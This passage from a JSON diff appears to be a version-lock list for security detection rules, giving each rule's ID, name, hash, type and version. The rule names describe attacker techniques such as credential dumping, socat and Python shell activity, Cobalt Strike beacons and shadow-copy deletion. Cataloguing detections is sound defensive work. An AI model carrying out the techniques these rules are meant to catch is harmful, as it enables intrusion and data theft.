"711dd36c9d0eca5be33613044ab9de38bdc703b51e619c57abd6125385dc7bb0", + "type": "machine_learning", + "version": 2 + }, + "c292fa52-4115-408a-b897-e14f684b3cb7": { + "rule_name": "Persistence via Folder Action Script", + "sha256": "ab6c806117ab8f06a992321c114ddfe378ad6f83439ab3b977a52868201c48aa", + "type": "eql", + "version": 4 + }, + "c2d90150-0133-451c-a783-533e736c12d7": { + "rule_name": "Mshta Making Network Connections", + "sha256": "b4909209146737396e9b58b34966b2b3891fbe958caeeb010d6c23ebf2cf207a", + "type": "eql", + "version": 5 + }, + "c3167e1b-f73c-41be-b60b-87f4df707fe3": { + "rule_name": "Permission Theft - Detected - Elastic Endgame", + "sha256": "20cc6568ccfe584a934546ca41589195cc38d5c9c159424b793f04f55910382e", + "type": "query", + "version": 7 + }, + "c3b915e0-22f3-4bf7-991d-b643513c722f": { + "rule_name": "Persistence via BITS Job Notify Cmdline", + "sha256": "15021e6cafece04e5c66ecb8390c4a899e2cd9d5728ff2a165a0ff303dc24d4e", + "type": "eql", + "version": 1 + }, + "c3f5e1d8-910e-43b4-8d44-d748e498ca86": { + "rule_name": "Potential JAVA/JNDI Exploitation Attempt", + "sha256": "693df7d5173a8307da3c937d1bbb6e29f69db99529a960ce4fe9bcae2c331c5b", + "type": "eql", + "version": 1 + }, + "c4210e1c-64f2-4f48-b67e-b5a8ffe3aa14": { + "rule_name": "Mounting Hidden or WebDav Remote Shares", + "sha256": "fd98829f6683e70e5a3d3fe8ed5fe7ea2a35a9eb323b012ee895ea1e3b563c46", + "type": "eql", + "version": 3 + }, + "c4818812-d44f-47be-aaef-4cfb2f9cc799": { + "rule_name": "Suspicious Print Spooler File Deletion", + "sha256": "d3e940a5c8517168cdd443783e02286039c72a78c5c9f24dad0eb7be0b1fffb3", + "type": "eql", + "version": 1 + }, + "c57f8579-e2a5-4804-847f-f2732edc5156": { + "rule_name": "Potential Remote Desktop Shadowing Activity", + "sha256": "7a378b1a7fa710354f67ee1b8b60ce93653a48edd7466d796f3e9d64d03aed7b", + "type": "eql", + "version": 1 + }, + "c58c3081-2e1d-4497-8491-e73a45d1a6d6": { + "rule_name": "GCP Virtual Private Cloud Network Deletion", + "sha256": "88bf63fa5666b708286c1c057c13d9395886468103724aaf6336f5715d4fdc31", + "type": "query", + "version": 5 + }, + "c5c9f591-d111-4cf8-baec-c26a39bc31ef": { + "rule_name": "Potential Credential Access via Renamed COM+ Services DLL", + "sha256": "90f5901627a5d6c6563a83d379a323230fbdff1ea541807afe7fea4660970e01", + "type": "eql", + "version": 2 + }, + "c5ce48a6-7f57-4ee8-9313-3d0024caee10": { + "rule_name": "Installation of Custom Shim Databases", + "sha256": "81788cf9d61ad308d13bca2f9882ffce48353414414d4bd05235253088b8407b", + "type": "eql", + "version": 3 + }, + "c5dc3223-13a2-44a2-946c-e9dc0aa0449c": { + "rule_name": "Microsoft Build Engine Started by an Office Application", + "sha256": "1998ec75b5eb81ab21dc332a0101d5fb3564ec7fd4023c45d8bc0707c1a9b36b", + "type": "eql", + "version": 9 + }, + "c5f81243-56e0-47f9-b5bb-55a5ed89ba57": { + "min_stack_version": "7.14.0", + "rule_name": "CyberArk Privileged Access Security Recommended Monitor", + "sha256": "0c5ec551b85d7e7e8775c4c1508a831c6019881d679e137e6f0531968d3ab03c", + "type": "query", + "version": 1 + }, + "c6453e73-90eb-4fe7-a98c-cde7bbfc504a": { + "rule_name": "Remote File Download via MpCmdRun", + "sha256": "0677ca2d233fcadf37a6e15f291d8266722f3b18c926aa5b76f3b1b71f57bde0", + "type": "eql", + "version": 5 + }, + "c6474c34-4953-447a-903e-9fcb7b6661aa": { + "rule_name": "IRC (Internet Relay Chat) Protocol Activity to the Internet", + "sha256": "dba60ab7ccce534b20532548b6aff6b799d54bacbacf3328fd250e65420a998c", + "type": "query", + "version": 8 + }, + "c749e367-a069-4a73-b1f2-43a3798153ad": { + "rule_name": "Attempt to Delete an Okta Network Zone", + "sha256": "324244d3a1a21367876830445120fc9ce2a3693ac832ce11442f9c71ba26cf1b", + "type": "query", + "version": 4 + }, + "c74fd275-ab2c-4d49-8890-e2943fa65c09": { + "rule_name": "Attempt to Modify an Okta Application", + "sha256": "897b7cf567d45aebb4daaaba655d2627aac02b5c883882dad6f9cd26c1243975", + "type": "query", + "version": 4 + }, + "c7894234-7814-44c2-92a9-f7d851ea246a": { + "rule_name": "Unusual Network Connection via DllHost", + "sha256": "3e28a8bb55979694d9772245c4b8a44aeb04b4b6ea95f171ba58752e77a128c8", + "type": "eql", + "version": 1 + }, + "c7ce36c0-32ff-4f9a-bfc2-dcb242bf99f9": { + "rule_name": "Unusual File Modification by dns.exe", + "sha256": "28d8ceeeae367d91ddfcc5654ea7a2a4f188e3914886461d1379da1a9e2a4e48", + "type": "eql", + "version": 5 + }, + "c7db5533-ca2a-41f6-a8b0-ee98abe0f573": { + "rule_name": "Spike in Network Traffic To a Country", + "sha256": "2e908b7e338192c06491e1fe991b6eae62a1d164a4bc80084ea828f31430f38f", + "type": "machine_learning", + "version": 2 + }, + "c81cefcb-82b9-4408-a533-3c3df549e62d": { + "rule_name": "Persistence via Docker Shortcut Modification", + "sha256": "8b02aafa4506d9cb5eda8c8243ed102f6b9e882c5a109e5c1f26b086ffbb0afe", + "type": "query", + "version": 2 + }, + "c82b2bd8-d701-420c-ba43-f11a155b681a": { + "rule_name": "SMB (Windows File Sharing) Activity to the Internet", + "sha256": "cccbd868c1f9fa563d8d731c88ed3e783e085b8c53412177f113a9eaa94118ac", + "type": "query", + "version": 11 + }, + "c82c7d8f-fb9e-4874-a4bd-fd9e3f9becf1": { + "rule_name": "Direct Outbound SMB Connection", + "sha256": "211e2a7134d501f32017fb32b025c99a139a2eeabb60830d0df4ca74a56b43c8", + "type": "eql", + "version": 7 + }, + "c85eb82c-d2c8-485c-a36f-534f914b7663": { + "rule_name": "Virtual Machine Fingerprinting via Grep", + "sha256": "bf300101c83a76a56196a6d061a1495f30d48c3bab5d7eccc5a121967d04c754", + "type": "eql", + "version": 1 + }, + "c87fca17-b3a9-4e83-b545-f30746c53920": { + "rule_name": "Nmap Process Activity", + "sha256": "85b00c642776304ce2f5d7c1374ad4f666c1669ace49cc43ede47f075674581d", + "type": "query", + "version": 7 + }, + "c88d4bd0-5649-4c52-87ea-9be59dbfbcf2": { + "rule_name": "Parent Process PID Spoofing", + "sha256": "1fef8434702bfb1e375a190414def78e6ee6a6523b0ab47eab82953922195230", + "type": "eql", + "version": 1 + }, + "c8b150f0-0164-475b-a75e-74b47800a9ff": { + "rule_name": "Suspicious Startup Shell Folder Modification", + "sha256": "df47026f246008b97ac1129190ed1ad88a0f5ee9e13f9740f947380078db82a8", + "type": "eql", + "version": 4 + }, + "c8cccb06-faf2-4cd5-886e-2c9636cfcb87": { + "rule_name": "Disabling Windows Defender Security Settings via PowerShell", + "sha256": "611d2771b89ee0ba4bddee2fe900cec60a79a0b9a76e4428365fb04bfbec58f3", + "type": "eql", + "version": 2 + }, + "c9e38e64-3f4c-4bf3-ad48-0e61a60ea1fa": { + "rule_name": "Credential Manipulation - Prevented - Elastic Endgame", + "sha256": "0a3aa3ec4774795554e8be4d9db16b5aa97c1afe8673071bc15ecad2042067df", + "type": "query", + "version": 7 + }, + "ca79768e-40e1-4e45-a097-0e5fbc876ac2": { + "rule_name": "Microsoft 365 Exchange Malware Filter Rule Modification", + "sha256": "648947b1b1ff3cf148413b8bd0b3b53bf36c5505da5988a23ec993fa3083b313", + "type": "query", + "version": 5 + }, + "cab4f01c-793f-4a54-a03e-e5d85b96d7af": { + "rule_name": "Auditd Login from Forbidden Location", + "sha256": "85a1d29a1ac4a700594437c856775141ae1b4cc58a4c41def22e0a8762c7a8ed", + "type": "query", + "version": 1 + }, + "cad4500a-abd7-4ef3-b5d3-95524de7cfe1": { + "min_stack_version": "8.0", + "previous": { + "7.13.0": { + "rule_name": "Google Workspace MFA Enforcement Disabled", + "sha256": "f8496e8188b47da802b79dba6b01c3f9f4e4d7fe9c0adf98503ec33e0a2f6747", + "type": "query", + "version": 8 + } + }, + "rule_name": "Google Workspace MFA Enforcement Disabled", + "sha256": "de718fed93c2314061daddd300ddb5e01064210ddc42d687fcdd988aa2595d5a", + "type": "query", + "version": 9 + }, + "cb71aa62-55c8-42f0-b0dd-afb0bb0b1f51": { + "rule_name": "Suspicious Calendar File Modification", + "sha256": "ea21157960f47745d507cee8da54a4fcc8f75c41b225f6ee08d8462e6879a7c7", + "type": "query", + "version": 1 + }, + "cc16f774-59f9-462d-8b98-d27ccd4519ec": { + "rule_name": "Process Discovery via Tasklist", + "sha256": "8612fc7b7e41ef8548eb18803ce4a0ca6e178952add06c716bfbf190fa1788f3", + "type": "query", + "version": 6 + }, + "cc2fd2d0-ba3a-4939-b87f-2901764ed036": { + "rule_name": "Attempt to Enable the Root Account", + "sha256": "25a2832a5de142a55071b950816a7c18bc95e803ac391db31c6caa1ed11689da", + "type": "query", + "version": 1 + }, + "cc89312d-6f47-48e4-a87c-4977bd4633c3": { + "rule_name": "GCP Pub/Sub Subscription Deletion", + "sha256": "88d5829dab8d3f0f92799ccdd422cd9f521302270dd2c81d5ddb41b60b1550d9", + "type": "query", + "version": 6 + }, + "cc92c835-da92-45c9-9f29-b4992ad621a0": { + "rule_name": "Attempt to Deactivate an Okta Policy Rule", + "sha256": "dc85297baf482232f011b9ce98f169f3b7be8b1422de1cceb9f7af2b50560327", + "type": "query", + "version": 6 + }, + "ccc55af4-9882-4c67-87b4-449a7ae8079c": { + "rule_name": "Potential Process Herpaderping Attempt", + "sha256": "2b1dac1ccc6843acfa825aa0f250925056ed80d273deef8c7fd10f656fd48f35", + "type": "eql", + "version": 2 + }, + "cd16fb10-0261-46e8-9932-a0336278cdbe": { + "rule_name": "Modification or Removal of an Okta Application Sign-On Policy", + "sha256": "3f66423329bee6d660afe1e7d5e5d4cfd7203312e3babd6015ca1fee60af2659", + "type": "query", + "version": 6 + }, + "cd4d5754-07e1-41d4-b9a5-ef4ea6a0a126": { + "rule_name": "Socat Process Activity", + "sha256": "572416fa9eb3b37a9360cbd474d0dccd7844685ad36b022f4a42d3a4525cac25", + "type": "query", + "version": 7 + }, + "cd66a419-9b3f-4f57-8ff8-ac4cd2d5f530": { + "rule_name": "Anomalous Linux Compiler Activity", + "sha256": "72774e826f2421c6fb071aca38cde16199ac2227c454f40e278aa68331bfb9ff", + "type": "machine_learning", + "version": 3 + }, + "cd66a5af-e34b-4bb0-8931-57d0a043f2ef": { + "rule_name": "Kernel Module Removal", + "sha256": "ada4b7f1536b5940bf11ef7267b8ccefd251c58d01db796b01ab135fc4d18a32", + "type": "query", + "version": 7 + }, + "cd89602e-9db0-48e3-9391-ae3bf241acd8": { + "rule_name": "Attempt to Deactivate MFA for an Okta User Account", + "sha256": "a3f866bf18352bd51f590bd78b5ea55a23c8bc7788e93a4b0c6e4a1f1d222873", + "type": "query", + "version": 6 + }, + "ce64d965-6cb0-466d-b74f-8d2c76f47f05": { + "rule_name": "New ActiveSyncAllowedDeviceID Added via PowerShell", + "sha256": "c3ab50eea009a6df031ff727cb6f5ab3e6699ab059766dd11702e0e67ae8522a", + "type": "eql", + "version": 6 + }, + "cf53f532-9cc9-445a-9ae7-fced307ec53c": { + "rule_name": "Cobalt Strike Command and Control Beacon", + "sha256": "251ce0bab9c64891a65817cbbe623561d5a89f168d844da108c03562d4e2266e", + "type": "query", + "version": 6 + }, + "cf549724-c577-4fd6-8f9b-d1b8ec519ec0": { + "min_stack_version": "8.0", + "previous": { + "7.13.0": { + "rule_name": "Domain Added to Google Workspace Trusted Domains", + "sha256": "5cbeb7ba36d4bca274e78516b67aa418552a39af7ff07d0605a306cacb27a1ef", + "type": "query", + "version": 7 + } + }, + "rule_name": "Domain Added to Google Workspace Trusted Domains", + "sha256": "734ba85eb72a8c8167a1247c75d48bbd9abb0a9954f8a357a20017258da978de", + "type": "query", + "version": 8 + }, + "cff92c41-2225-4763-b4ce-6f71e5bda5e6": { + "rule_name": "Execution from Unusual Directory - Command Line", + "sha256": "a361597bb52abf436cbf188b582ac1d3f77be85d7fe6c10a6e00c6acbc6938cc", + "type": "eql", + "version": 4 + }, + "d0e159cf-73e9-40d1-a9ed-077e3158a855": { + "rule_name": "Registry Persistence via AppInit DLL", + "sha256": "8e0d01f097a813b149534720764b6fdbd833f36728870e242c7c1292ba2dc249", + "type": "eql", + "version": 3 + }, + "d117cbb4-7d56-41b4-b999-bdf8c25648a0": { + "rule_name": "Symbolic Link to Shadow Copy Created", + "sha256": "bf42a9a4a18efc72f87194d38872a565e6a5bf75e6baeef8789293f6854950f0", + "type": "eql", + "version": 2 + }, + "d2053495-8fe7-4168-b3df-dad844046be3": { + "rule_name": "PPTP (Point to Point Tunneling Protocol) Activity", + "sha256": "07e21a98e0a2f05e6d9191ef82577f66f1c1ed1a2f93cd54771faa83ee6ceda6", + "type": "query", + "version": 7 + }, + "d22a85c6-d2ad-4cc4-bf7b-54787473669a": { + "rule_name": "Potential Microsoft Office Sandbox Evasion", + "sha256": "8021ff270be998297c5c97ba9fc27fd8a1b77952434ed4dd2bff1fabca2860b8", + "type": "query", + "version": 1 + }, + "d31f183a-e5b1-451b-8534-ba62bca0b404": { + "rule_name": "Disabling User Account Control via Registry Modification", + "sha256": "ee9768020aceeec742747d02c10584b87657ba6490ddcff4553dd8fc8a23a58e", + "type": "eql", + "version": 3 + }, + "d331bbe2-6db4-4941-80a5-8270db72eb61": { + "rule_name": "Clearing Windows Event Logs", + "sha256": "ecbbc7859552c8437157063f812772cb9577843591fc62608079300e3210e66a", + "type": "eql", + "version": 11 + }, + "d461fac0-43e8-49e2-85ea-3a58fe120b4f": { + "rule_name": "Shell Execution via Apple Scripting", + "sha256": "81d944d6e43616c8ce9d52f1959afb89444b9972b4c8269b28c8d7c74485e4b8", + "type": "eql", + "version": 3 + }, + "d48e1c13-4aca-4d1f-a7b1-a9161c0ad86f": { + "rule_name": "Attempt to Delete an Okta Application", + "sha256": "015b43d6b11252e9e5bc11ccaa1d78aa3587aa342e429b51f668a160ef3402df", + "type": "query", + "version": 4 + }, + "d49cc73f-7a16-4def-89ce-9fc7127d7820": { + "rule_name": "Web Application Suspicious Activity: sqlmap User Agent", + "sha256": "4b9eead51bdd9860f02d47c1a20fc4892ba90960f2151ebe61c89e07ed3f4263", + "type": "query", + "version": 7 + }, + "d4af3a06-1e0a-48ec-b96a-faf2309fae46": { + "rule_name": "Unusual Linux System Information Discovery Activity", + "sha256": "e6bfd938d1323fddf3554c4c9a5a57d6490c2b23ec7d42a12455a5cd6ab96d14", + "type": "machine_learning", + "version": 2 + }, + "d4b73fa0-9d43-465e-b8bf-50230da6718b": { + "min_stack_version": "7.14.0", + "rule_name": "Unusual Source IP for a User to Logon from", + "sha256": "eaec6ceda71a7d7f2ef470443ab29248249a5782241bd0d422c6c5201dff280f", + "type": "machine_learning", + "version": 1 + }, + "d563aaba-2e72-462b-8658-3e5ea22db3a6": { + "rule_name": "Privilege Escalation via Windir Environment Variable", + "sha256": "df727534686ff5d08f97b53cebae31cc82f831264c16022e81a2aeab10cbd8f9", + "type": "eql", + "version": 4 + }, + "d5d86bf5-cf0c-4c06-b688-53fdc072fdfd": { + "rule_name": "Attempt to Delete an Okta Policy Rule", + "sha256": "36945a6918d4b8f1672682279ce8123b9ebbf06b04d6193f67d7f70ee25c2a17", + "type": "query", + "version": 4 + }, + "d61cbcf8-1bc1-4cff-85ba-e7b21c5beedc": { + "rule_name": "Service Command Lateral Movement", + "sha256": "14fe2ba1367484a6ee97e359ba9b8c5c66987e02d2865d8537b9ae9b1ef6d2ab", + "type": "eql", + "version": 3 + }, + "d624f0ae-3dd1-4856-9aad-ccfe4d4bfa17": { + "rule_name": "AWS CloudWatch Log Stream Deletion", + "sha256": "2f43c3628e1f8540a1c844cef4b679344bf077381ccc1f8acdea765c8f3c63a7", + "type": "query", + "version": 7 + }, + "d62b64a8-a7c9-43e5-aee3-15a725a794e7": { + "rule_name": "GCP Pub/Sub Subscription Creation", + "sha256": "ff495b8181b94c67024c06bd2b1b9b4e52e571de47f5946026c188d07772e0a9", + "type": "query", + "version": 6 + }, + "d6450d4e-81c6-46a3-bd94-079886318ed5": { + "rule_name": "Strace Process Activity", + "sha256": "394e164b962405824e20fa9efd81e7a2a8b9017ec483bc0d0dec04f4bb9684d1", + "type": "query", + "version": 7 + }, + "d68eb1b5-5f1c-4b6d-9e63-5b6b145cd4aa": { + "rule_name": "Microsoft 365 Exchange Anti-Phish Policy Deletion", + "sha256": "99f23f66b2d5168fc92a02d94e79cfe27e1e7e3b869a4fbe1c8bc605c158fcd0", + "type": "query", + "version": 5 + }, + "d703a5af-d5b0-43bd-8ddb-7a5d500b7da5": { + "rule_name": "Modification of WDigest Security Provider", + "sha256": "cf76266315915f3366228a95730f540c6069fac0024bee0055de9054f16c5c1c", + "type": "eql", + "version": 2 + }, + "d72e33fc-6e91-42ff-ac8b-e573268c5a87": { + "rule_name": "Command Execution via SolarWinds Process", + "sha256": "fd80e63af37f8a2a7921dc49a3a6d8c2835e23bc3c4595ae3febaf378127ca72", + "type": "eql", + "version": 3 + }, + "d743ff2a-203e-4a46-a3e3-40512cfe8fbb": { + "rule_name": "Microsoft 365 Exchange Malware Filter Policy Deletion", + "sha256": "e1c1c4384395fe59e788f530caefc25c56cbb6b0af0d06d448c7095b47643b7d", + "type": "query", + "version": 5 + }, + "d75991f2-b989-419d-b797-ac1e54ec2d61": { + "rule_name": "SystemKey Access via Command Line", + "sha256": "a18ebe990afbe127f7ea57580737c9d7db9d0e80b10c21bdb54457f92be02107", + "type": "query", + "version": 1 + }, + "d76b02ef-fc95-4001-9297-01cb7412232f": { + "rule_name": "Interactive Terminal Spawned via Python", + "sha256": "1b8e9ea27c151d2de3fd5c94f0ff8de14098ccc0348a81ac3a39dc28f0dd118f", + "type": "query", + "version": 6 + }, + "d79c4b2a-6134-4edd-86e6-564a92a933f9": { + "rule_name": "Azure Blob Permissions Modification", + "sha256": "0a8db0c43b681d84156a42b60ab5ecd8fe9caf71f2bc01c51a9c768bf9d901e6", + "type": "query", + "version": 1 + }, + "d7d5c059-c19a-4a96-8ae3-41496ef3bcf9": { + "min_stack_version": "7.14.0", + "rule_name": "Spike in Logon Events", + "sha256": "f597878752cb6e91544579901584b4938249c29026da834e202622b3194aac5b", + "type": "machine_learning", + "version": 1 + }, + "d7e62693-aab9-4f66-a21a-3d79ecdd603d": { + "rule_name": "SMTP on Port 26/TCP", + "sha256": "7e8d3c2560ac6a468f7701f9ee237e39bc51231edf8d5b94ab0055d60286730b", + "type": "query", + "version": 8 + }, + "d8fc1cca-93ed-43c1-bbb6-c0dd3eff2958": { + "rule_name": "AWS IAM Deactivation of MFA Device", + "sha256": "a96204e734aad61228f51845056ce0f072c2740658b3d7b8af4eff8706a9ba9d", + "type": "query", + "version": 5 + }, + "d99a037b-c8e2-47a5-97b9-170d076827c4": { + "rule_name": "Volume Shadow Copy Deletion via PowerShell", + "sha256": "c564a84bd80412505c6c368bbaa4901157515871a4dca9ef8642fad1cdbdf2e1", + "type": "eql", + "version": 2 + }, + "dafa3235-76dc-40e2-9f71-1773b96d24cf": { + "rule_name": "Multi-Factor Authentication Disabled for an Azure User", + "sha256": "11c865273e884bc2fc14a65de9455d9d999fec216a350a79742055ea2689a328", + "type": "query", + "version": 5 + }, + "db8c33a8-03cd-4988-9e2c-d0a4863adb13": { + "rule_name": "Credential Dumping - Prevented - Elastic Endgame", + "sha256": "2d8957ba5a8d444bcd904025089be6e4eb710b93e029b4242316d5e95274facb", + "type": "query", + "version": 7 + }, + "dc672cb7-d5df-4d1f-a6d7-0841b1caafb9": { + "rule_name": "Threat Intel Filebeat Module (v7.x) Indicator Match", + "sha256": "a6db1fdda6906b8d352b2d9c369c0b2e4271c911d0919320c8dd20f053d0e095", + "type": "threat_match", + "version": 4 + }, + "dc9c1f74-dac3-48e3-b47f-eb79db358f57": { + "rule_name": "Volume Shadow Copy Deletion via WMIC", + "sha256": "c7114e3a146e9a6f433e98cf3f746fd92dc8fec7c778c85f81593faa766a1295", + "type": "eql", + "version": 10 + }, + "dca28dee-c999-400f-b640-50a081cc0fd1": { + "rule_name": "Unusual Country For an AWS Command", + "sha256": "f63e24c5a39e77b1e2b0464b83698f95e46229dfcaee35404a06ca3d23e91ce6", + "type": "machine_learning", + "version": 8 + }, + "ddab1f5f-7089-44f5-9fda-de5b11322e77": { + "rule_name": "NullSessionPipe Registry Modification", + "sha256": "efa60094cebe3428f728d0c83e1c5a563182fe632fc708289651cae652351029", + "type": "eql", + "version": 2 + }, + "de9bd7e0-49e9-4e92-a64d-53ade2e66af1": { + "rule_name": "Unusual Child Process from a System Virtual Process", + "sha256": "25b0e6100151bd4ff5c5484ce7221fc4dda10c7d24dfd447a7f604fe70ae74d2", + "type": "eql", + "version": 4 + }, + "debff20a-46bc-4a4d-bae5-5cdd14222795": { + "rule_name": "Base16 or Base32 Encoding/Decoding Activity", + "sha256": "2dfa50e7bce0eb5396a016deae281f948ed101975bee4806e8d388199a8b4012", + "type": "query", + "version": 7 + }, + "df197323-72a8-46a9-a08e-3f5b04a4a97a": { + "rule_name": "Unusual Windows User Calling the Metadata Service", + "sha256": "40ac13cc950b6d31bbf8793ae0941af4edbaf36dc40070df6f4173775298c968", + "type": "machine_learning", + "version": 3 + }, + "df26fd74-1baa-4479-b42e-48da84642330": { + "rule_name": "Azure Automation Account Created", + "sha256": "5edf3bc8df71a855a4dab07c6f921c2a459827567c3c4149ec1f3aefda5453ee", + "type": "query", + "version": 5 + }, + "df959768-b0c9-4d45-988c-5606a2be8e5a": { + "rule_name": "Unusual Process Execution - Temp", + "sha256": "8d4ae843cb9c1a4ab4c415b00ed10ca09a6ff0c4911446cf5d667f379e7e2ea3", + "type": "query", + "version": 7 + }, + "e02bd3ea-72c6-4181-ac2b-0f83d17ad969": { + "rule_name": "Azure Firewall Policy Deletion", + "sha256": "a1d4f0fa9407969fc217c89005688467e15ce80b501d09f91d9eebda0756b9da", + "type": "query", + "version": 6 + }, + "e052c845-48d0-4f46-8a13-7d0aba05df82": { + "rule_name": "KRBTGT Delegation Backdoor", + "sha256": "e49f5cada4a25f4e15cc4ab4eec1aa0f7bb9dadacfd9c37059fe0a39bdd8cf2e", + "type": "query", + "version": 1 + }, + "e08ccd49-0380-4b2b-8d71-8000377d6e49": { + "rule_name": "Attempts to Brute Force an Okta User Account", + "sha256": "0e7206d6334ee10726bbbf513659b98a614a9b5ab2e916603e598d530ff31e70", + "type": "threshold", + "version": 5 + }, + "e0dacebe-4311-4d50-9387-b17e89c2e7fd": { + "min_stack_version": "7.16.0", + "previous": { + "7.13.0": { + "rule_name": "Whitespace Padding in Process Command Line", + "sha256": "de0b525b55b31026d29a5a835b5e420d95ceaa8d6c6f7e377c3b2cdae2064fdf", + "type": "eql", + "version": 5 + } + }, + "rule_name": "Whitespace Padding in Process Command Line", + "sha256": "f182f841954adaa9009a1b62d0b98506f864adc4d7ab93e8467f26ada0f518d0", + "type": "eql", + "version": 6 + }, + "e0f36de1-0342-453d-95a9-a068b257b053": { + "rule_name": "Azure Event Hub Deletion", + "sha256": "0f7dfa6f861c221ea106353380859eee6f1a047f463f39fbacf7de07af246e71", + "type": "query", + "version": 6 + }, + "e12c0318-99b1-44f2-830c-3a38a43207ca": { + "rule_name": "AWS Route Table Created", + "sha256": "c2d3c4f677cfdfa69ef9ba32f1d771d62809253c641ffea2d75fa7b2e85f559d", + "type": "query", + "version": 2 + }, + "e14c5fd7-fdd7-49c2-9e5b-ec49d817bc8d": { + "rule_name": "AWS RDS Cluster Creation", + "sha256": "d234e6465e48075455eee2f94a978eeead53a68f150231dc941a6ca4d1db897c", + "type": "query", + "version": 7 + }, + "e19e64ee-130e-4c07-961f-8a339f0b8362": { + "rule_name": "Connection to External Network via Telnet", + "sha256": "a45edaf4d918bf73f99e232fcd351f941cfa4f924fd8e1178dc914370f3c706a", + "type": "eql", + "version": 6 + }, + "e26aed74-c816-40d3-a810-48d6fbd8b2fd": { + "min_stack_version": "7.14.0", + "rule_name": "Spike in Logon Events from a Source IP", + "sha256": "604e329a73f5f711f4d8aeb944976f58a8d5a993388062231c925fe211be1b91", + "type": "machine_learning", + "version": 2 + }, + "e26f042e-c590-4e82-8e05-41e81bd822ad": { + "rule_name": "Suspicious .NET Reflection via PowerShell", + "sha256": "cac862ac2f6933ac4a3b016aed2ec100b670ab49ab3d148e57a4f2af8f4b10bd", + "type": "query", + "version": 2 + }, + "e2a67480-3b79-403d-96e3-fdd2992c50ef": { + "rule_name": "AWS Management Console Root Login", + "sha256": "94dcf7938345325b7cca64d3a410cffbb9e2503ddb509afb63a9721087a0b906", + "type": "query", + "version": 5 + }, + "e2f9fdf5-8076-45ad-9427-41e0e03dc9c2": { + "rule_name": "Suspicious Process Execution via Renamed PsExec Executable", + "sha256": "866137e7aaff75679d9cb9daec327239af72cebed02ddf3e877a76afd1116ecf", + "type": "eql", + "version": 4 + }, + "e2fb5b18-e33c-4270-851e-c3d675c9afcd": { + "rule_name": "GCP IAM Role Deletion", + "sha256": "5031da57a37dd009a981fac97fab322c1464d65b3f518b11934a4deb79d9730c", + "type": "query", + "version": 6 + }, + "e3343ab9-4245-4715-b344-e11c56b0a47f": { + "rule_name": "Process Activity via Compiled HTML File", + "sha256": "b4768d0f8f0ed9689db41b8f284dda3bc646f7b85d32b60293e82285d6dfa9fc", + "type": "eql", + "version": 10 + }, + "e3c27562-709a-42bd-82f2-3ed926cced19": { + "rule_name": "AWS Route53 private hosted zone associated with a VPC", + "sha256": "e55bea74533e2fc5765e72b6d225511d1cfe053d9489dd81361da331c5c57f85", + "type": "query", + "version": 1 + }, + "e3c5d5cb-41d5-4206-805c-f30561eae3ac": { + "rule_name": "Ransomware - Prevented - Elastic Endgame", + "sha256": "2597f5c35305aefc8016770975bbc727d72230fbabd8c9418d4147741104be0f", + "type": "query", + "version": 8 + }, + "e3cf38fa-d5b8-46cc-87f9-4a7513e4281d": { + "rule_name": "Connection to Commonly Abused Free SSL Certificate Providers", + "sha256": "b055eb46d4206980a676f50c0e7043bca37dabc37a33fcbd47ceb640532adf6f", + "type": "eql", + "version": 3 + }, + "e3e904b3-0a8e-4e68-86a8-977a163e21d3": { + "rule_name": "Persistence via KDE AutoStart Script or Desktop File Modification", + "sha256": "b0987f3c7fe63baa9cf5f7327fcd5eb56ef9c49670d24d64de92f40d958e602d", + "type": "eql", + "version": 1 + }, + "e48236ca-b67a-4b4e-840c-fdc7782bc0c3": { + "rule_name": "Attempt to Modify an Okta Network Zone", + "sha256": "8d8985d87033dc11c0e673c1d9963cf89369e11468d2d4ea2c786fe7ed03b518", + "type": "query", + "version": 6 + }, + "e514d8cd-ed15-4011-84e2-d15147e059f1": { + "rule_name": "Kerberos Preauthentication Disabled for User", + "sha256": "6da2733caeb41cd77fe6dab1b5fd5441349cef2efd8c0d39481f0cf8f454461e", + "type": "query", + "version": 1 + }, + "e555105c-ba6d-481f-82bb-9b633e7b4827": { + "min_stack_version": "8.0", + "previous": { + "7.13.0": { + "rule_name": "MFA Disabled for Google Workspace Organization", + "sha256": "1b8f18bfcd5ebd6a7ef2cad523000d799d2cba09cde203a94541c9ad03327c82", + "type": "query", + "version": 8 + } + }, + "rule_name": "MFA Disabled for Google Workspace Organization", + "sha256": "aea30c3bf1eb96e0c6f0c64da484ca2310b1ae26e8679030c0a30a8058982a77", + "type": "query", + "version": 9 + }, + "e56993d2-759c-4120-984c-9ec9bb940fd5": { + "rule_name": "RDP (Remote Desktop Protocol) to the Internet", + "sha256": "e2f1607e4ec15d9f1e4cdfb3c307852c151afef4fa9f42ee068ccd4b335543ed", + "type": "query", + "version": 8 + }, + "e6c1a552-7776-44ad-ae0f-8746cc07773c": { + "rule_name": "Bash Shell Profile Modification", + "sha256": "870461090ff0ee534196576c1434c8bab00da1ea368665bc7fbea973a390e24e", + "type": "query", + "version": 2 + }, + "e6c98d38-633d-4b3e-9387-42112cd5ac10": { + "rule_name": "Authorization Plugin Modification", + "sha256": "ad9317a7f7fd99c1ba80a7666b86353686bb19e51c37e2af77267750ef650018", + "type": "query", + "version": 1 + }, + "e6e3ecff-03dd-48ec-acbd-54a04de10c68": { + "rule_name": "Possible Okta DoS Attack", + "sha256": "be780601c9e4a7e1aca8845facddfea5d71bf738376e9880f61beae46ddc51a4", + "type": "query", + "version": 6 + }, + "e6e8912f-283f-4d0d-8442-e0dcaf49944b": { + "rule_name": "Screensaver Plist File Modified by Unexpected Process", + "sha256": "246d03e49a68169a248914b3d7010e3707f42a27ef57fc08b24727a3b5f06773", + "type": "eql", + "version": 1 + }, + "e7075e8d-a966-458e-a183-85cd331af255": { + "rule_name": "Default Cobalt Strike Team Server Certificate", + "sha256": "d06b33a543d522b2f430c7851d7bcfc6784092fac3d4efcc1bd100f0eebabee7", + "type": "query", + "version": 6 + }, + "e7125cea-9fe1-42a5-9a05-b0792cf86f5a": { + "rule_name": "Execution of Persistent Suspicious Program", + "sha256": "a20d59b00c5cb946794ec2b30277dc754792a46bce3ee1cd6274d512ff418929", + "type": "eql", + "version": 2 + }, + "e7cd5982-17c8-4959-874c-633acde7d426": { + "rule_name": "AWS Route Table Modified or Deleted", + "sha256": "24310c50c362c030cd18b5fc424495faff6d0a8124112c0c786911fc8ae10ae6", + "type": "query", + "version": 2 + }, + "e8571d5f-bea1-46c2-9f56-998de2d3ed95": { + "rule_name": "Service Control Spawned via Script Interpreter", + "sha256": "8151b1deb537fd602fd988f92448e6eef5ff8ecce725851068f3338f4de8a95e", + "type": "eql", + "version": 10 + }, + "e86da94d-e54b-4fb5-b96c-cecff87e8787": { + "rule_name": "Installation of 